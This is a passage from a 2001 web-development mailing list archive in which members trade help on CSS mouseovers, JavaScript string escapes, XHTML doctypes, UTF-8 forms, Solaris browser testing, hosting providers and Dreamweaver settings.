all be on the same line if I do that. I've had some success with the 
use of CSS on IE and NS6.x/Mozilla, but that leaves out NS4.x.  Do I 
abandon them and go with the simple solution or find some way of 
using layers inside of span tags to get it to work?  I don't mind 
putting a little effort into this site if the end result is more 
usable/presentable (plus, phase 2 is set for release upon completion 
of phase 1).

Thanks,
Scot

P.S.  I'll send a tip as soon I can.
-- 



From crawford_phil at hotmail.com  Mon Sep 17 19:01:49 2001
From: crawford_phil at hotmail.com (phil crawford)
Date: Mon Sep 17 19:01:49 2001
Subject: [thelist] Two questions:1. Pacific Bell Telephone problems, and 2. looking
 for a reliable ISP for a business account.
Message-ID: <F30jpaQrJxb9KEiUBjz00014e9c@hotmail.com>

I've been moving my Interland sites to InnerHost this year.

InnerHost is _so_ much better than Interland it is mind-numbing.  I've had 
no problems with InnerHost at all.  None.

I used Interland the past couple years for a variety of sites.  Interland is 
amazingly, outrageously awful.


>From: "the head lemur" <headlemur at clearskymail.com>
>Reply-To: thelist at lists.evolt.org
>To: <thelist at lists.evolt.org>
>Subject: Re: [thelist] Two questions:1. Pacific Bell  Telephone problems, 
>and 2. looking for a reliable ISP for a business account.
>Date: Mon, 17 Sep 2001 16:24:26 -0700
>
>We currently use Host pro, and are looking for a second ISP for the
>
>that eliminates Interland and WIPC as they both belong to HostPro
>
>OnlineOntime.com in phoenix is a good 'nix company
>
>haven't run across a reliable NT company yet
>
>
>
>
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From nicole at parrot.ca  Mon Sep 17 19:10:59 2001
From: nicole at parrot.ca (Nicole Parrot)
Date: Mon Sep 17 19:10:59 2001
Subject: [thelist] Interland/ Innerhost
References: <F30jpaQrJxb9KEiUBjz00014e9c@hotmail.com>
Message-ID: <02f401c13fd6$6528abc0$41c9ca18@nicole>

Funny you should be mentionning Innerhost, cause we're moving OUT of
Innerhost.

We've had numerous problems with them lately, namely a sporadic incapacity
to FTP in, Visual Interdev Support being very iffy, stats for one site being
turned off without warning, and the most annoying of them all, the
incapacity to send outgoing mail one day out of two.

Nicole

----- Original Message -----
From: "phil crawford" <crawford_phil at hotmail.com>
> I've been moving my Interland sites to InnerHost this year.
> InnerHost is _so_ much better than Interland it is mind-numbing.  I've had
> no problems with InnerHost at all.  None.
> I used Interland the past couple years for a variety of sites.  Interland
is
> amazingly, outrageously awful.





From r937 at interlog.com  Mon Sep 17 19:19:14 2001
From: r937 at interlog.com (rudy)
Date: Mon Sep 17 19:19:14 2001
Subject: [thelist] embarrassingly stupid XHTML questions
Message-ID: <01c13fd7$84e986e0$8551149a@rudy>

>... Those tags won't validate under XHTML Strict. 
> Whether they work or not is another matter entirely, 
> but the document won't be considered valid Strict XHTML.

you can understand why someone trying to learn xhtml is going
to wonder "so, what's the point of the doctype then?"

why am i not surprised that internet explorer and netscape are forgiving
(rhetorical question)

does anyone know of browsers that display strict as strict?

personally, i found the switch to xhtml strict quite easy --
frustrating at times, but pretty straightforward

also, see this article --

<tip>
  The XHTML Transition: It's not that difficult
  http://evolt.org/article/foo/17/9953/index.html
</tip>

the rumour that you have to give up tables for layout 
to use xhtml is not true

rudy
http://rudy.ca/




From hassan at webtuitive.com  Mon Sep 17 19:27:27 2001
From: hassan at webtuitive.com (Hassan Schroeder)
Date: Mon Sep 17 19:27:27 2001
Subject: [thelist] Design/JS question
References: <p05100303b7cc332cd1e2@[10.21.174.26]>
Message-ID: <3BA694E9.928A578F@webtuitive.com>

Scot wrote:

> Problem two:  It was suggested that the navigational links at the top
> and bottom of the page have a mouseover effect.  
> 
> I've tried using the position:absolute solution, but the links can't
> all be on the same line if I do that. I've had some success with the
> use of CSS on IE and NS6.x/Mozilla, but that leaves out NS4.x. 

/* warning: simple but non-compliant hack approaching */

<head>
<style type="text/css">
a:link {
	color: #000000;
	background-color: transparent;
	}
a:hover {
	color: #000000;
	background-color: #cccccc;
	}
#foo {
	background-color: #ffffff;
	}
</style>
</head>
<body>

<ilayer name="foo" id="foo">
<a href="javascript://" 
	onMouseover="foo.bgColor='#cccccc';"
	onMouseout="foo.bgColor='#ffffff';"
>foo</a></ilayer>

<!-- 
Tested: IE 5.5, NS 6.1, NS 4.78 (W2K), NS 4.76, IE 5.0 (Solaris)
  -->
</body>

/* end of hack - don't tell the W3C :-) */

HTH!
-- 
H*
Hassan Schroeder ----------------------------- hassan at webtuitive.com 
Webtuitive Design ===  (+1) 408-938-0567   === http://webtuitive.com

    -- creating dynamic Web sites and applications since 1994 --



From ckanderson at powersurfr.com  Mon Sep 17 19:28:43 2001
From: ckanderson at powersurfr.com (Christian Anderson)
Date: Mon Sep 17 19:28:43 2001
Subject: [thelist] Javascript inside of Javascript... :)
References: <000801c13ee4$5948e6a0$1631a8c0@hot7> <3BA563F6.440DD30D@phreaker.net> <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com> <001a01c13f79$953a4060$ce03cc3d@chris> <3BA5E7C9.1020109@heerssen.com>
Message-ID: <001f01c13fd8$ef3fb4a0$9206cc3d@chris>

Bruce,

Actually that is not the problem that I am trying to solve.  The mouseover
works perfectly fine, its just a matter of getting it in there properly with
javascript.  I am pulling news feeds from moreover.com, and they use
javascript.  I fooled with it, and got it looking the way I want it, and now
the last thing is getting the <td> tags to work on the mouseover.  Its just
the javascript code screwing up when it tries to write the onmouseover
thing.

> >Yeah, moreover.com :)
> >
> >That mousover thing has to go in the <td> tag.  I guess I should have
> >mentioned that... so when I try it as <TD bgcolor=EEEEFF
> >onMouseover="onColor(this);" onMouseout="offColor(this);"> it doesnt
work.
> >
> >Why why why?? :)
> >
> >www.photokyo.com
> >
> This came up the other day. I think the problem is going to be the
> bgcolor attribute in the <td> tag. Ditch the bgcolor attribute and use
> CSS instead, then you should be able to change it with javascript.





From morbus at disobey.com  Mon Sep 17 19:32:42 2001
From: morbus at disobey.com (Morbus Iff)
Date: Mon Sep 17 19:32:42 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <01c13fd7$84e986e0$8551149a@rudy>
References: <01c13fd7$84e986e0$8551149a@rudy>
Message-ID: <p05101002b7cc46113856@[63.173.138.125]>

>you can understand why someone trying to learn xhtml is going
>to wonder "so, what's the point of the doctype then?"

Try these articles:

 http://www.oreillynet.com/pub/a/javascript/synd/2001/08/28/doctype.html
 http://www.oreillynet.com/pub/a/network/2000/04/14/doctype/index.html
 http://developer.apple.com/internet/_html/doctype.html

-- 
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From Anthony at Baratta.com  Mon Sep 17 20:05:37 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Mon Sep 17 20:05:37 2001
Subject: [thelist] Javascript inside of Javascript... :)
In-Reply-To: <001a01c13f79$953a4060$ce03cc3d@chris>
References: <000801c13ee4$5948e6a0$1631a8c0@hot7>
 <3BA563F6.440DD30D@phreaker.net>
 <5.1.0.14.2.20010916221812.02dd9ea8@baratta.com>
Message-ID: <5.1.0.14.2.20010917180331.02b298b0@baratta.com>

try this....

document.writeln("<TR><TD bgcolor='#EEEEFF' onMouseover='onColor(this);'
onMouseout='offColor(this);'><A
HREF='"+global_article[counter].url+"'>");
document.writeln('<FONT SIZE='+headline_font_size+'FACE="'+headline_font+'" 
COLOR="#'+headline_fgcolor+'"');
----
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."




From michele at wordpro.on.ca  Mon Sep 17 20:08:36 2001
From: michele at wordpro.on.ca (Michele Foster)
Date: Mon Sep 17 20:08:36 2001
Subject: [thelist] Database documentation
References: <Pine.LNX.4.20.0109170703100.23035-100000@scooter.webservepro.com>
Message-ID: <01f701c13fde$4b7a9960$a300a8c0@aci.on.ca>

Matt,

I'm not following you here.  Is this in the relationships window, that you
can get it to show the column type information?  Exactly, how does one get
that to display?

Thanks,

Michele


<tip type="documenting Access databases" author="Mishka">

For more information than you may every want describing your Access
database, with your current database open, choose Tools, Analyze,
Documenter.  If your database is large, with many tables, queries, forms,
reports, etc., you may want to run the Documenter off-hours.  You can
customize much of the information that is generated too.  Makes for a good
start to documenting your work.

</tip>


----- Original Message -----
From: "Warden, Matt" <mwarden at mattwarden.com>
To: <thelist at lists.evolt.org>
Sent: Monday, September 17, 2001 7:04 AM
Subject: Re: [thelist] Database documentation


| On Sep 17, phil had something to say about Re: [thelist] Database
documentation
|
| >[Access's relationships view is] not as descriptive as rudy's screenshot
| >(it doesn't provide column type information)
|
| It will if you tell it to by checking the "column types" checkbox in the
| table properties. It just hides those by default.
|
|
| HTH,
|
|
| --
| mattwarden
| mattwarden.com
|
|
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From dave at du4.com  Mon Sep 17 20:50:55 2001
From: dave at du4.com (Dave Dufour)
Date: Mon Sep 17 20:50:55 2001
Subject: [fwd] [thelist] Replacing Carriage returns in Javascript
Message-ID: <001064850011291BUNSON@bunson.webservepro.com>

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I have an application in which I need to replace carriage returns/line
feeds
with a little-used character that can be converted back by another script.
Can anyone tell me how to do this in Javascript?  I know about the
string.replace() function, but I have no idea how to refer to carriage
returns and line feeds.  In VBScript there is CHR(10) and CHR(13).  What
is
the equivalent in Javascript?  I've pored over O'Reilly's looking for it.

Thanks in advance.

Dave




From thelist at cbizz.net  Mon Sep 17 20:54:51 2001
From: thelist at cbizz.net (profjj)
Date: Mon Sep 17 20:54:51 2001
Subject: [thelist] Adding Sound
In-Reply-To: <AEEMKOOEFCFNBBJALEONAEJDCEAA.annie@twitch.ca>
Message-ID: <NCEIJIFGNJNBOHBNJFKHAENJCIAA.thelist@cbizz.net>

hi guys,

What would be the best approach to add sound to a web page?

Do I add a wav file or would i add the sound to a flash movie of small
dimensions, and make it inconspicuous?

Thanx in advance,

Jasen James
Web Application Developer

Computer & Business Services
#2 Bourbon Street, Castries
Tel: (758) 453-7159
Fax: (758) 451-6946
Pgr: (758) 481-4430
Email: jasen at cbizz.net
http://www.cbizz.net
DCM - Dynamic Content Management




From jeff at members.evolt.org  Mon Sep 17 20:58:59 2001
From: jeff at members.evolt.org (.jeff)
Date: Mon Sep 17 20:58:59 2001
Subject: [fwd] [thelist] Replacing Carriage returns in Javascript
In-Reply-To: <001064850011291BUNSON@bunson.webservepro.com>
Message-ID: <ANEOJKCILBBIJMGALNELMELJJFAA.jeff@members.evolt.org>

dave,

><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
> From: Dave Dufour
>
> I have an application in which I need to replace
> carriage returns/line feeds with a little-used
> character that can be converted back by another
> script.
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><

what, per chance, is the need to convert carriage returns and line feeds?

><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
> I know about the string.replace() function, [...]
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><

is this publicly accessible?

what level of browser are you looking to support?

what are you planning on doing to make sure it doesn't throw errors on
browsers that don't support the replace() method?

><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
> [...] but I have no idea how to refer to carriage
> returns and line feeds.  In VBScript there is CHR(10)
> and CHR(13).  What is the equivalent in Javascript?
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><

\n

good luck,

.jeff

http://evolt.org/
jeff at members.evolt.org
http://members.evolt.org/jeff/





From dave at du4.com  Mon Sep 17 21:04:44 2001
From: dave at du4.com (Dave Dufour)
Date: Mon Sep 17 21:04:44 2001
Subject: [fwd] [thelist] Replacing Carriage returns in Javascript
In-Reply-To: <ANEOJKCILBBIJMGALNELMELJJFAA.jeff@members.evolt.org>
Message-ID: <003401c13fe6$476e1830$25ca8dd0@translog6bfhxr>

This is a remote scripting application that will only be viewed in IE 5.5,
so I'm not worried about other browsers.  No, it's not publicly accessible.
I'm passing values via javascript to an Active Server Pages remote script
and if there are any carriage returns in the text being passed, the ASP
function receiving it bombs.  No problem if the carriage returns are
removed.  So, I figured a simple replace would solve the problem, but I
cannot find the appropriate code to specify a carriage return in the
string.replace function.

>-----Original Message-----
>From: thelist-admin at lists.evolt.org
>[mailto:thelist-admin at lists.evolt.org]On Behalf Of .jeff
>Sent: Monday, September 17, 2001 8:59 PM
>To: thelist at lists.evolt.org
>Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript
>
>
>dave,
>
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>> From: Dave Dufour
>>
>> I have an application in which I need to replace
>> carriage returns/line feeds with a little-used
>> character that can be converted back by another
>> script.
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>
>what, per chance, is the need to convert carriage returns and
>line feeds?
>
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>> I know about the string.replace() function, [...]
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>
>is this publicly accessible?
>
>what level of browser are you looking to support?
>
>what are you planning on doing to make sure it doesn't throw errors on
>browsers that don't support the replace() method?
>
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>> [...] but I have no idea how to refer to carriage
>> returns and line feeds.  In VBScript there is CHR(10)
>> and CHR(13).  What is the equivalent in Javascript?
>><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
>
>\n
>
>good luck,
>
>.jeff
>
>http://evolt.org/
>jeff at members.evolt.org
>http://members.evolt.org/jeff/
>
>
>
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From nick at infinitevoid.com  Mon Sep 17 21:05:11 2001
From: nick at infinitevoid.com (Nick Bourgeois)
Date: Mon Sep 17 21:05:11 2001
Subject: [thelist] Adding Sound
References: <NCEIJIFGNJNBOHBNJFKHAENJCIAA.thelist@cbizz.net>
Message-ID: <024f01c13fe6$5ebbf9d0$0653fa18@cc71118b>

> What would be the best approach to add sound to a web page?

Quick and dirty answer: don't add sound to a Web page.

If you for some reason _need_ the have sound on a Web page, make sure there
is some way for the user to turn it off.  Therefore, don't just embed wav or
midi files.

Nick Bourgeois
nick at infinitevoid.com




From sales at iibiz.com  Mon Sep 17 23:19:03 2001
From: sales at iibiz.com (iibiz)
Date: Mon Sep 17 23:19:03 2001
Subject: [thelist] html email stats
References: <5.1.0.14.0.20010917121452.03062570@mail.vardus.net> <3BA5EA09.6010706@heerssen.com>
Message-ID: <012701c13fdf$57284b80$68adb3c7@iibiz>

> May I suggest a well written text email with links?
>
> HTH,
> Bruce
>

Bruce,

Any hints on how to get a decently formatted text file out of a cgi script?
Been being a pain in my butt all week.  Doesn't acknowledge line breaks or
anything.  Tried /n from someone's suggestion on this list to no
avail...........

Sandy






From ashcraft at 13monkeys.com  Tue Sep 18 00:58:15 2001
From: ashcraft at 13monkeys.com (Jeremy Ashcraft)
Date: Tue Sep 18 00:58:15 2001
Subject: [thelist] web development for Solaris
In-Reply-To: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com>
References: <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com>
Message-ID: <01091800002100.05958@localhost.localdomain>

Solaris is pretty much the standard Unix.  The standard browser on Solaris is 
more than likely Netscape 4.x.  Other browsers you may want to take into 
consideration Mozilla/Netscape6, Opera, and Konqueror, although 
Opera/Konqueror may not be very highly used.  There is also a version of IE 
for Solaris, but i've never seen it.  If you can get your hands on a Solaris 
machine and install all those browsers, you should be OK.  

jeremy

On Monday 17 September 2001 13:04, you wrote:
> Hey Folks,
>
> For the current site I'm developing, there is a strict requirement that all
> pages work correctly on Solaris (Sun) platform browsers.
>
> While I consider myself something of an expert on Mac/PC and
> Netscape/IE/Opera issues, I have almost zero experience with Sun.
>
> Can you good people alert me to some of the common pitfalls, things to be
> aware of, or resources/places to learn the same? I'd like to educate myself
> in advance, with the hopes of alleviating a painful QA process.



From andrew at thepander.co.nz  Tue Sep 18 02:00:31 2001
From: andrew at thepander.co.nz (Andrew Forsberg)
Date: Tue Sep 18 02:00:31 2001
Subject: [thelist] web development for Solaris
In-Reply-To: <01091800002100.05958@localhost.localdomain>
References:  <5.1.0.14.0.20010917105753.038f10d0@pop3.vicksburgcollective.com>
 <01091800002100.05958@localhost.localdomain>
Message-ID: <p05100306b7cc9cddf059@[192.168.1.5]>

Just wanted to add a few extra points:

1. If you can't get your hands on a Sparc workstation, then check the 
hardware compatibility list for Solaris on Intel, and download the 
('free') binaries, from:
http://www.sun.com/software/solaris/binaries/get.html
For a basic workstation install you only need the first real 
installer cd ('Software 1 of 2' -- approx. 300MB). If you have an old 
PII around somewhere, with fairly standard hardware, then you're 
probably in luck.

2. 16 bit colour is not well supported. You can't use it with Sun's X 
server. You can run 16 bit with XFree86's drivers, and XIG's drivers, 
but some apps just won't run in 16 bit (e.g. Forte for Java 3). So, 
IMO, testing for colour in 8 bit and 24 bit configurations is 
probably sufficient.

3.  IE for Sun is only available for the Sparc architecture, so you 
will need to get a Sparc station to test IE. At a guess I'd say it 
would have the smallest install base of any browser in existence. 
Honestly, how many Sun Sparc users would go out of their way to 
install a MS browser? Especially since it's *really* hard to even 
find the installers on microsoft.com.

4. There is a companion software CD for Solaris that includes the 
kde, gnome, and afterstep desktops. If you want to test with 
konqueror, then downloading this CD would be the least path of 
resistance (ie, it'll work, and there are shell scripts installed in 
/opt/sfw/kde/  that will add the desktop to the login session drop 
down menu for you).

HTH
Andrew


>Solaris is pretty much the standard Unix.  The standard browser on Solaris is
>more than likely Netscape 4.x.  Other browsers you may want to take into
>consideration Mozilla/Netscape6, Opera, and Konqueror, although
>Opera/Konqueror may not be very highly used.  There is also a version of IE
>for Solaris, but i've never seen it.  If you can get your hands on a Solaris
>machine and install all those browsers, you should be OK. 
>
>jeremy
>
>On Monday 17 September 2001 13:04, you wrote:
>>  Hey Folks,
>>
>>  For the current site I'm developing, there is a strict requirement that all
>>  pages work correctly on Solaris (Sun) platform browsers.
>>
>>  While I consider myself something of an expert on Mac/PC and
>>  Netscape/IE/Opera issues, I have almost zero experience with Sun.
>>
>>  Can you good people alert me to some of the common pitfalls, things to be
>>  aware of, or resources/places to learn the same? I'd like to educate myself
>  > in advance, with the hopes of alleviating a painful QA process.

-- 
Andrew Forsberg
---
the pander - http://thepander.co.nz/
uberNET - http://uber.net.nz/



From john.best at simplytrading.com  Tue Sep 18 03:21:55 2001
From: john.best at simplytrading.com (John Best)
Date: Tue Sep 18 03:21:55 2001
Subject: [thelist] User cant see page
In-Reply-To: <p05100306b7cc9cddf059@[192.168.1.5]>
Message-ID: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>

Hi all.

I just got into work to be informed that a person using a netscape browser
(Not aware exactly what flavour) could not see our newly popped up site.
http://www.simplytrading.com
It is supposed to be a flash site that redirects to our normal site if there
is no plugin.

I am not familiar with this work and none of my browsers are coming up with
a blank page. (NS4.?, NS6, IE5.5 all on PC)

I would be most grateful if people could check and report if they get a
blank page.

Thanks very much

John Best



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From kristina at kfx-design.co.uk  Tue Sep 18 03:41:23 2001
From: kristina at kfx-design.co.uk (kristina)
Date: Tue Sep 18 03:41:23 2001
Subject: [thelist] User cant see page
In-Reply-To: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>
References: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>
Message-ID: <236072932.20010918094130@kfx-design.co.uk>

John,
 ? ? ? ? ? ? ? ? ? ?
: http://www.simplytrading.com
: It is supposed to be a flash site that redirects to our normal site if there
: is no plugin.
 ? ? ? ? ? ? ? ? ? ?

IE5.5/W2k - i get a flash site
N4.7/W2k - I get a HTML site - yet i have the Flash 5.0 r41 plugin!!!
Moz 0.8/W2k - i get HTML site
Opera 5.02/W2k - i get HTML site

-- 
hth
 kristina                      

kristina at kfx-design.co.uk


"When written in Chinese, the word 'crisis' is composed of two characters.
One represents danger, and the other represents opportunity."
-- John F. Kennedy




From steve.cook at evitbe.com  Tue Sep 18 03:47:00 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Tue Sep 18 03:47:00 2001
Subject: [thelist] User cant see page
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB62@SBS>

Worked fine for me with Netscape 4.7 on PC (without Flash). I'd bet you
anything they are using Netscape on a Mac - it seems to be way more
*sensitive* than on the PC.


------------------------------------------
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> -----Original Message-----
> From: John Best [mailto:john.best at simplytrading.com]
> Sent: den 18 september 2001 10:22
> To: thelist at lists.evolt.org
> Subject: [thelist] User cant see page
> 
> 
> Hi all.

> 
> I would be most grateful if people could check and report if 
> they get a
> blank page.
> 
> Thanks very much
> 
> John Best
> 
> 



From scot at vquill.com  Tue Sep 18 03:53:04 2001
From: scot at vquill.com (Scot)
Date: Tue Sep 18 03:53:04 2001
Subject: [thelist] User cant see page
In-Reply-To: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>
References: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>
Message-ID: <p05100307b7ccbab8aaff@[10.21.174.26]>

Mac OS X
IE 5.1.1 (plug-in), Get to a blank screen that says "Please Wait" in 
the title bar, and that's it.
NS 4.7.6 (plug-in), HTML interface.
Mozilla 0.9.2 (no plug-in),  Get to a blank screen that says "Please 
Wait" in the title bar, and that's it.
NS 6.1 (plug-in), HTML interface.

Both IE and Mozilla have HTML source available when requesting to view source.

Hope That Helps
Scot

>Hi all.
>
>I just got into work to be informed that a person using a netscape browser
>(Not aware exactly what flavour) could not see our newly popped up site.
>http://www.simplytrading.com
>It is supposed to be a flash site that redirects to our normal site if there
>is no plugin.
>
>I am not familiar with this work and none of my browsers are coming up with
>a blank page. (NS4.?, NS6, IE5.5 all on PC)
>
>I would be most grateful if people could check and report if they get a
>blank page.
>
>Thanks very much
>
>John Best
>

-- 



From arw_gatch at yahoo.com  Tue Sep 18 04:05:22 2001
From: arw_gatch at yahoo.com (=?iso-8859-1?q?Andrew=20Williams?=)
Date: Tue Sep 18 04:05:22 2001
Subject: [thelist] User cant see page
In-Reply-To: <NEBBKFMMJNCHLPBNCKMMOEJBEBAA.john.best@simplytrading.com>
Message-ID: <20010918090524.38531.qmail@web10405.mail.yahoo.com>

John,

I'm using IE5.01, without Flash. 

I do eventually get the portal.asp page, but it was a
long time coming (30-40 secs)- my (browser) screen was
blank for this time and the status bar said 'Done'.
The cursor was still hour-glassing and the title bar
said 'Please wait'. 

Perhaps the user was confused into thinking nothing
else was going to happen and just gave up?
(Incidentally, I'd have given up even though I could
tell something was still going on).

Try and find out more about their browser/os
combination. Also, what speed of connection do they
have? Is there a firewall involved? 

Regards,

Andrew



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From andrew.chadwick at prnewswire.co.uk  Tue Sep 18 04:35:22 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Tue Sep 18 04:35:22 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com>
References: <9BF107507B15D511B2D6000255586DFA15F8C2@exchweb.partners.com>
Message-ID: <20010918103511.A30672@oit.net>

On Mon, Sep 17, 2001 at 02:17:45PM -0500, Green, Janet wrote:
[1 and 2 have already been answered]
> 3. What are unicode and UTF-8, and how do I know what I am using? I've never
> made a conscious decision on this. 
> 
> Please post answers in "for dummies" lingo. Thanks. 


Unicode is the name of a huge international character set -
essentially a really big alphabet with letters, numbers and symbols
drawn from just about every human language in the world. You need a
lot of characters for that, so Unicode gives you 2,147,483,648
possibilities (wow).

UTF-8 is just one of the ways you can encode[1] a Unicode document,
and it's what XML (and HTML) documents use by default.


If your document is mainly written in English and/or other Europaen
languages, and you're not fussed about accent symbols don't worry
about UTF-8. UTF-8 is compatible with the characters you can see on a
US keyboard (except the Euro symbol, if you have one there).

If your documents are written in a non-Roman alphabet like Greek,
Hebrew, Cyrillic, or Korean[2], or you mix them in with English or
other languages, then you probably want to consider UTF-8 as an
encoding (especially if you're mixing scripts together).


You can learn far, far more theory than you or I will ever need to
know at <http://czyborra.com/>, and there's a slightly more user-
friendly FAQ at <http://www.cl.cam.ac.uk/~mgk25/unicode.html>. They're
both geared towards Unix machines and crazy Linux commies like me, but
they're useful from a non-denominational perspective too.


[1] Save to disk in a way the computer can understand next time you
    load it in.

[2] Not really an alphabet but, um, never mind :)

-- 
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--
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From andrew.chadwick at prnewswire.co.uk  Tue Sep 18 05:33:15 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Tue Sep 18 05:33:15 2001
Subject: [thelist] tip: Persuading browsers to send UTF-8
Message-ID: <20010918113305.A30873@oit.net>

My last post was too long, so here's a tip to try and make up for it.

<tip audience="cgi-heads, html-folks, all" subject="UTF-8">

If your CGI application would like its form input in UTF-8 (because
that's what needs to go in the database, say), there are one or two
things you can do to make your life easier:

 * Make sure the document you're serving up is served as UTF-8 by the
   web server. In Perl, that's "print $cgi->header(-charset=>"utf-8");",
   or

      Content-Type: text/html; charset=utf-8

   For you NPH guys or people who like hacking Apache config
   files. This persuades most modern browsers to send back UTF-8.

 * Say '<form accept-charset="utf-8">' for your form open tag. Now
   every HTML4+-compliant browser should send back UTF-8.

The above is good, but old browsers are still going to send their
native character set (and not tell you about it in any reliable or
even vaguely portable way). You'll need a more devious technique based
on looking at hidden form fields. Decide what the incoming data is
encoded as, and then use a module like Unicode::MapUTF8 to remap it to
UTF-8.

</tip>

-- 
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From jhaworth at witanjardine.co.uk  Tue Sep 18 05:56:00 2001
From: jhaworth at witanjardine.co.uk (Jon Haworth)
Date: Tue Sep 18 05:56:00 2001
Subject: [thelist] html email stats
Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FD74@BOOTROS>

You can try \r\n instead or just \n, or use those marker type things that I
can't remember what they're called :-) IIRC they look something like this in
Perl:

print<<"ENDPRINT";
Here is some text.
It will appear just like this when it's printed, line breaks and all.

Including the blank line just above this one, I think.
ENDPRINT

HTH
Jon


-----Original Message-----
From: iibiz [mailto:sales at iibiz.com]
Sent: 18 September 2001 02:15
To: thelist at lists.evolt.org
Subject: Re: [thelist] html email stats


Any hints on how to get a decently formatted text file out of a cgi script?
Been being a pain in my butt all week.  Doesn't acknowledge line breaks or
anything.  Tried /n from someone's suggestion on this list to no
avail...........

Sandy


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From Matt at grndwtr.com  Tue Sep 18 07:17:46 2001
From: Matt at grndwtr.com (Matthias Ritzkowski)
Date: Tue Sep 18 07:17:46 2001
Subject: [fwd] [thelist] Replacing Carriage returns in Javascript
Message-ID: <8179FA78B6D0D111AA53006097B0128007AF0C@mail1>

Dave

according to my magic book here, these are the escape sequences and their
associated characters for JavaScript:

\b	Backspace
\f	Form feed
\n	New line
\r	Carriage return
\t	Tab
\'	Single Quote
\"	Double Quote
\\	Backslash

Actually I am going to print this and hang it up as I only had the VBscript
equivalents here so far ...
Thanks for asking!

Matthias




-----Original Message-----
From: Dave Dufour [mailto:dave at du4.com]
Sent: Monday, September 17, 2001 22:05
To: thelist at lists.evolt.org
Subject: RE: [fwd] [thelist] Replacing Carriage returns in Javascript


This is a remote scripting application that will only be viewed in IE 5.5,
so I'm not worried about other browsers.  No, it's not publicly accessible.
I'm passing values via javascript to an Active Server Pages remote script
and if there are any carriage returns in the text being passed, the ASP
function receiving it bombs.  No problem if the carriage returns are
removed.  So, I figured a simple replace would solve the problem, but I
cannot find the appropriate code to specify a carriage return in the
string.replace function..



From frodo_tx at yahoo.com  Tue Sep 18 08:02:21 2001
From: frodo_tx at yahoo.com (Chuck Sumpter)
Date: Tue Sep 18 08:02:21 2001
Subject: [thelist] OT One of History's Lessons
Message-ID: <20010918130223.6329.qmail@web14808.mail.yahoo.com>

This will be my only "contribution" to the terrorist attack message traffic. 
---------------------------------------------------------------------------
A friend sent me an excerpt from an address to the...

Pearl Harbor Survivors Association
By Vice Admiral E. P. Aurand, U.S. Navy,(Ret.)
National Memorial Cemetery of the Pacific
December 7, 1986

A couple of lines from the address struck a resonant chord in me and I've
included then in the image that is displayed at the link below. 

          http://www.chuck.sumpter.com

For those of you who actually like pop-ups (like me <grin>) here is the simple
script.
<tip> 
    <SCRIPT LANGUAGE="JavaScript">
    <!-- Begin
    function popupPage() {
    var page = "message2.html";
    windowprops = "height=600,width=800,location=no,"
    + "scrollbars=no,menubars=no,toolbars=no,resizable=yes";

    window.open(page, "Popup", windowprops);
    }
    //  End -->
    </script>
</tip>

Regards, 

Chuck Sumpter



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From Julia_Frizzell at brown.edu  Tue Sep 18 08:56:14 2001
From: Julia_Frizzell at brown.edu (Julia Frizzell)
Date: Tue Sep 18 08:56:14 2001
Subject: [thelist] Dreamweaver Dependent files
Message-ID: <p05100309b7cd02458b82@[128.148.108.71]>

I'm on a Mac, using Dreamweaver 4.01.

At one point, silly me, I checked that box in the Site Map that said 
"Don't ask" when uploading dependent files. And of course, I had 
previously checked "Yes."

So now, each time I change a small thing on a page, it checks to 
upload all the dependent pages/graphics/what-have-you, when I would 
rather it not.

I cannot, for the life of me, figure out how to change that setting. 
I've looked all over. As a last resort, I am planning on creating a 
new site and deleting the old, but I was hoping someone here might be 
able to help me with this.

So ... can anyone help? :)
-- 
-------------------------------
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julia_frizzell at brown.edu
glyneth at sfad.org
http://www.sfad.org
http://www.theblackroad.org
"Insert pithy quote here."



From mspiegler at lightbulbpress.com  Tue Sep 18 09:01:24 2001
From: mspiegler at lightbulbpress.com (Matt)
Date: Tue Sep 18 09:01:24 2001
Subject: [thelist] Dreamweaver Dependent files
References: <p05100309b7cd02458b82@[128.148.108.71]>
Message-ID: <3BA753C4.A10DE834@lightbulbpress.com>

I'm in UltraDev 4, I think it's the same as regular DW, and in UD, under
Preferences-Sites, there's a checkbox for "Dependant Files: Prompt on
Get/Check Out". I think that should do it.

Matt

Julia Frizzell wrote:

> I'm on a Mac, using Dreamweaver 4.01.
>
> At one point, silly me, I checked that box in the Site Map that said
> "Don't ask" when uploading dependent files. And of course, I had
> previously checked "Yes."
>
> So now, each time I change a small thing on a page, it checks to
> upload all the dependent pages/graphics/what-have-you, when I would
> rather it not.
>
> I cannot, for the life of me, figure out how to change that setting.
> I've looked all over. As a last resort, I am planning on creating a
> new site and deleting the old, but I was hoping someone here might be
> able to help me with this.
>
> So ... can anyone help? :)
> --
> -------------------------------
